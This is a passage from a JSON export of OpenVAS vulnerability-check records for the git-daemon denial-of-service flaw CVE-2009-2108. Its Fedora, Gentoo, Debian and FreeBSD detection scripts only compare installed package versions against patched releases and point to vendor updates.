isrpmvuln(pkg:\"git\", rpm:\"git~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-all\", rpm:\"git-all~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-arch\", rpm:\"git-arch~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-cvs\", rpm:\"git-cvs~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-daemon\", rpm:\"git-daemon~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-email\", rpm:\"git-email~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-gui\", rpm:\"git-gui~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-svn\", rpm:\"git-svn~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitk\", rpm:\"gitk~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitweb\", rpm:\"gitweb~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"perl-Git\", rpm:\"perl-Git~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-debuginfo\", rpm:\"git-debuginfo~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2017-07-24T12:57:02", "references": [], "pluginID": "64427", "description": "The remote host is missing updates announced in\nadvisory GLSA 200907-05.", "edition": 2, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-07-29T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "title": "Gentoo Security Advisory GLSA 200907-05 (git)", "type": "openvas", "naslFamily": "Gentoo Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2017-07-07T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=64427", "id": "OPENVAS:64427", "sourceData": "#\n# OpenVAS Vulnerability Test\n# $\n# Description: Auto generated from Gentoo's XML based advisory\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"An error in git-daemon might lead to a Denial of Service via resource\nconsumption.\";\ntag_solution = \"All git users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=dev-util/git-1.6.3.3'\n\nhttp://www.securityspace.com/smysecure/catid.html?in=GLSA%20200907-05\nhttp://bugs.gentoo.org/show_bug.cgi?id=273905\";\ntag_summary = \"The remote host is missing updates announced in\nadvisory GLSA 200907-05.\";\n\n \n \n\nif(description)\n{\n script_id(64427);\n script_version(\"$Revision: 6595 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-07 11:19:55 +0200 (Fri, 07 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-07-29 19:28:37 +0200 (Wed, 29 Jul 2009)\");\n script_cve_id(\"CVE-2009-2108\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_name(\"Gentoo Security Advisory GLSA 200907-05 (git)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Gentoo Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/gentoo\", \"ssh/login/pkg\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-gentoo.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = ispkgvuln(pkg:\"dev-util/git\", unaffected: make_list(\"ge 1.6.3.3\"), vulnerable: make_list(\"lt 1.6.3.3\"))) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-04-06T11:39:09", "references": ["https://bugzilla.redhat.com/show_bug.cgi?id=502393", "https://bugzilla.redhat.com/show_bug.cgi?id=505761", "https://bugzilla.redhat.com/show_bug.cgi?id=490602"], "pluginID": "136141256231064288", "description": "The remote host is missing an update to git\nannounced via advisory FEDORA-2009-6809.", "edition": 1, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-06-30T00:00:00", "type": "openvas", "title": "Fedora Core 9 FEDORA-2009-6809 (git)", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Fedora Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2018-04-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=136141256231064288", "id": "OPENVAS:136141256231064288", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: fcore_2009_6809.nasl 9350 2018-04-06 07:03:33Z cfischer $\n# Description: Auto-generated from advisory FEDORA-2009-6809 (git)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"Update Information:\n\nThis update fixes a Denial of Service vulnerability in git-daemon. It also\nfixes minor issues when using git-cvsimport and the formatting of the git-daemon\nxinetd service description.\nChangeLog:\n\n* Fri Jun 19 2009 Todd Zullinger - 1.6.0.6-4\n- Fix git-daemon hang on invalid input (CVE-2009-2108, bug 505761)\n- Ignore Branches output from cvsps-2.2b1 (bug 490602)\n- Escape newline in git-daemon xinetd description (bug 502393)\";\ntag_solution = \"Apply the appropriate updates.\n\nThis update can be installed with the yum update program. Use \nsu -c 'yum update git' at the command line.\nFor more information, refer to Managing Software with yum,\navailable at http://docs.fedoraproject.org/yum/.\n\nhttps://secure1.securityspace.com/smysecure/catid.html?in=FEDORA-2009-6809\";\ntag_summary = \"The remote host is missing an update to git\nannounced via advisory FEDORA-2009-6809.\";\n\n\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.64288\");\n script_version(\"$Revision: 9350 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:03:33 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2009-06-30 00:29:55 +0200 (Tue, 30 Jun 2009)\");\n script_cve_id(\"CVE-2009-2108\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_name(\"Fedora Core 9 FEDORA-2009-6809 (git)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name : \"URL\" , value : \"https://bugzilla.redhat.com/show_bug.cgi?id=505761\");\n script_xref(name : \"URL\" , value : \"https://bugzilla.redhat.com/show_bug.cgi?id=502393\");\n script_xref(name : \"URL\" , value : \"https://bugzilla.redhat.com/show_bug.cgi?id=490602\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-rpm.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isrpmvuln(pkg:\"emacs-git\", rpm:\"emacs-git~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git\", rpm:\"git~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-all\", rpm:\"git-all~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-arch\", rpm:\"git-arch~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-cvs\", rpm:\"git-cvs~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-daemon\", rpm:\"git-daemon~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-email\", rpm:\"git-email~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-gui\", rpm:\"git-gui~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-svn\", rpm:\"git-svn~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitk\", rpm:\"gitk~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitweb\", rpm:\"gitweb~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"perl-Git\", rpm:\"perl-Git~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-debuginfo\", rpm:\"git-debuginfo~1.6.0.6~4.fc9\", rls:\"FC9\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-04-06T11:40:04", "references": [], "pluginID": "136141256231064427", "description": "The remote host is missing updates announced in\nadvisory GLSA 200907-05.", "edition": 1, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-07-29T00:00:00", "title": "Gentoo Security Advisory GLSA 200907-05 (git)", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Gentoo Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2018-04-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=136141256231064427", "id": "OPENVAS:136141256231064427", "sourceData": "#\n# OpenVAS Vulnerability Test\n# $\n# Description: Auto generated from Gentoo's XML based advisory\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"An error in git-daemon might lead to a Denial of Service via resource\nconsumption.\";\ntag_solution = \"All git users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=dev-util/git-1.6.3.3'\n\nhttp://www.securityspace.com/smysecure/catid.html?in=GLSA%20200907-05\nhttp://bugs.gentoo.org/show_bug.cgi?id=273905\";\ntag_summary = \"The remote host is missing updates announced in\nadvisory GLSA 200907-05.\";\n\n \n \n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.64427\");\n script_version(\"$Revision: 9350 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:03:33 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2009-07-29 19:28:37 +0200 (Wed, 29 Jul 2009)\");\n script_cve_id(\"CVE-2009-2108\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_name(\"Gentoo Security Advisory GLSA 200907-05 (git)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Gentoo Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/gentoo\", \"ssh/login/pkg\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-gentoo.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = ispkgvuln(pkg:\"dev-util/git\", unaffected: make_list(\"ge 1.6.3.3\"), vulnerable: make_list(\"lt 1.6.3.3\"))) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2017-07-24T12:49:09", "references": [], "pluginID": "66803", "description": "The remote host is missing an update to git-core\nannounced via advisory DSA 1841-2.", "edition": 2, "reporter": "Copyright (c) 2010 E-Soft Inc. http://www.securityspace.com", "published": "2010-02-10T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "title": "Debian Security Advisory DSA 1841-2 (git-core)", "type": "openvas", "naslFamily": "Debian Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2017-07-07T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=66803", "id": "OPENVAS:66803", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_1841_2.nasl 6614 2017-07-07 12:09:12Z cfischer $\n# Description: Auto-generated from advisory DSA 1841-2 (git-core)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2010 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"A bug in git-core caused the security update in DSA 1841 to fail to\nbuild on a number of architectures Debian supports. This update corrects\nthe bug and releases builds for all supported architectures. The original\nadvisory is quoted in full below for reference.\n\nIt was discovered that git-daemon which is part of git-core, a popular\ndistributed revision control system, is vulnerable to denial of service\nattacks caused by a programming mistake in handling requests containing\nextra unrecognized arguments which results in an infinite loop. While\nthis is no problem for the daemon itself as every request will spawn a\nnew git-daemon instance, this still results in a very high CPU consumption\nand might lead to denial of service conditions.\n\nFor the oldstable distribution (etch), this problem has been fixed in\nversion 1.4.4.4-4+etch4.\n\nFor the stable distribution (lenny), this problem has been fixed in\nversion 1.5.6.5-3+lenny3.\n\nFor the testing distribution (squeeze), this problem has been fixed in\nversion 1:1.6.3.3-1.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 1:1.6.3.3-1.\n\nWe recommend that you upgrade your git-core packages.\";\ntag_summary = \"The remote host is missing an update to git-core\nannounced via advisory DSA 1841-2.\";\n\ntag_solution = \"https://secure1.securityspace.com/smysecure/catid.html?in=DSA%201841-2\";\n\n\nif(description)\n{\n script_id(66803);\n script_version(\"$Revision: 6614 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-07 14:09:12 +0200 (Fri, 07 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2010-02-10 21:51:26 +0100 (Wed, 10 Feb 2010)\");\n script_cve_id(\"CVE-2009-2108\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_name(\"Debian Security Advisory DSA 1841-2 (git-core)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2010 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"gitk\", ver:\"1.4.4.4-4+etch4\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-cvs\", ver:\"1.4.4.4-4+etch4\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-svn\", ver:\"1.4.4.4-4+etch4\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-email\", ver:\"1.4.4.4-4+etch4\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-arch\", ver:\"1.4.4.4-4+etch4\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"gitweb\", ver:\"1.4.4.4-4+etch4\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-daemon-run\", ver:\"1.4.4.4-4+etch4\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-doc\", ver:\"1.4.4.4-4+etch4\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-core\", ver:\"1.4.4.4-4+etch4\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"gitweb\", ver:\"1.5.6.5-3+lenny3\", rls:\"DEB5.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-daemon-run\", ver:\"1.5.6.5-3+lenny3\", rls:\"DEB5.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-arch\", ver:\"1.5.6.5-3+lenny3\", rls:\"DEB5.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-cvs\", ver:\"1.5.6.5-3+lenny3\", rls:\"DEB5.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"gitk\", ver:\"1.5.6.5-3+lenny3\", rls:\"DEB5.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-gui\", ver:\"1.5.6.5-3+lenny3\", rls:\"DEB5.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-svn\", ver:\"1.5.6.5-3+lenny3\", rls:\"DEB5.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-doc\", ver:\"1.5.6.5-3+lenny3\", rls:\"DEB5.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-email\", ver:\"1.5.6.5-3+lenny3\", rls:\"DEB5.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"git-core\", ver:\"1.5.6.5-3+lenny3\", rls:\"DEB5.0\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2017-07-02T21:14:11", "references": [], "pluginID": "64202", "description": "The remote host is missing an update to the system\nas announced in the referenced advisory.", "edition": 1, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-06-15T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "title": "FreeBSD Ports: git", "type": "openvas", "naslFamily": "FreeBSD Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2016-12-23T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=64202", "id": "OPENVAS:64202", "sourceData": "#\n#VID d9b01c08-59b3-11de-828e-00e0815b8da8\n# OpenVAS Vulnerability Test\n# $\n# Description: Auto generated from VID d9b01c08-59b3-11de-828e-00e0815b8da8\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The following package is affected: git\";\ntag_solution = \"Update your system with the appropriate patches or\nsoftware upgrades.\n\nhttps://www.redhat.com/archives/fedora-security-list/2009-June/msg00000.html\nhttp://article.gmane.org/gmane.comp.version-control.git/120724\nhttp://www.vuxml.org/freebsd/d9b01c08-59b3-11de-828e-00e0815b8da8.html\";\ntag_summary = \"The remote host is missing an update to the system\nas announced in the referenced advisory.\";\n\n\n\nif(description)\n{\n script_id(64202);\n script_version(\"$Revision: 4847 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2016-12-23 10:33:16 +0100 (Fri, 23 Dec 2016) $\");\n script_tag(name:\"creation_date\", value:\"2009-06-15 19:20:43 +0200 (Mon, 15 Jun 2009)\");\n script_cve_id(\"CVE-2009-2108\");\n script_bugtraq_id(35338);\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_name(\"FreeBSD Ports: git\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"FreeBSD Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/freebsdrel\", \"login/SSH/success\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-bsd.inc\");\n\ntxt = \"\";\nvuln = 0;\nbver = portver(pkg:\"git\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.6.3.2_1\")<0) {\n txt += 'Package git version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\n\nif(vuln) {\n security_message(data:string(txt));\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2017-07-25T10:57:13", "references": ["https://bugzilla.redhat.com/show_bug.cgi?id=505761"], "pluginID": "64290", "description": "The remote host is missing an update to git\nannounced via advisory FEDORA-2009-6936.", "edition": 2, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-06-30T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "title": "Fedora Core 11 FEDORA-2009-6936 (git)", "type": "openvas", "naslFamily": "Fedora Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2017-07-10T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=64290", "id": "OPENVAS:64290", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: fcore_2009_6936.nasl 6624 2017-07-10 06:11:55Z cfischer $\n# Description: Auto-generated from advisory FEDORA-2009-6936 (git)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"Update Information:\n\nThis update fixes a Denial of Service vulnerability in git-daemon.\nChangeLog:\n\n* Fri Jun 19 2009 Todd Zullinger - 1.6.2.5-1\n- Update to 1.6.2.5\n- Fix git-daemon hang on invalid input (CVE-2009-2108, bug 505761)\";\ntag_solution = \"Apply the appropriate updates.\n\nThis update can be installed with the yum update program. Use \nsu -c 'yum update git' at the command line.\nFor more information, refer to Managing Software with yum,\navailable at http://docs.fedoraproject.org/yum/.\n\nhttps://secure1.securityspace.com/smysecure/catid.html?in=FEDORA-2009-6936\";\ntag_summary = \"The remote host is missing an update to git\nannounced via advisory FEDORA-2009-6936.\";\n\n\n\nif(description)\n{\n script_id(64290);\n script_version(\"$Revision: 6624 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-10 08:11:55 +0200 (Mon, 10 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-06-30 00:29:55 +0200 (Tue, 30 Jun 2009)\");\n script_cve_id(\"CVE-2009-2108\");\n 